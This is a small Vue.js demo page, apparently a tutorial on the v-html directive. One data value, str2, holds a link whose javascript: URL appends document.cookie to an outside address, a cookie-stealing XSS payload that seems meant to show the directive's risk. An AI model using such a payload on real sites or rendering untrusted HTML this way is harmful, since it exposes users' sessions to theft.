<!DOCTYPE html>
<html>
<head>
    <meta charset='UTF-8'>
    <title>v-html指令</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <div>hi,{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
</body>
<!--   JS   -->
    <script>
        new Vue({
            el:'#root',
            data:{
                str:'<h3>hello</h3>',
                name:'陆沉',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击</a>'
            }
        })
    </script>
</html>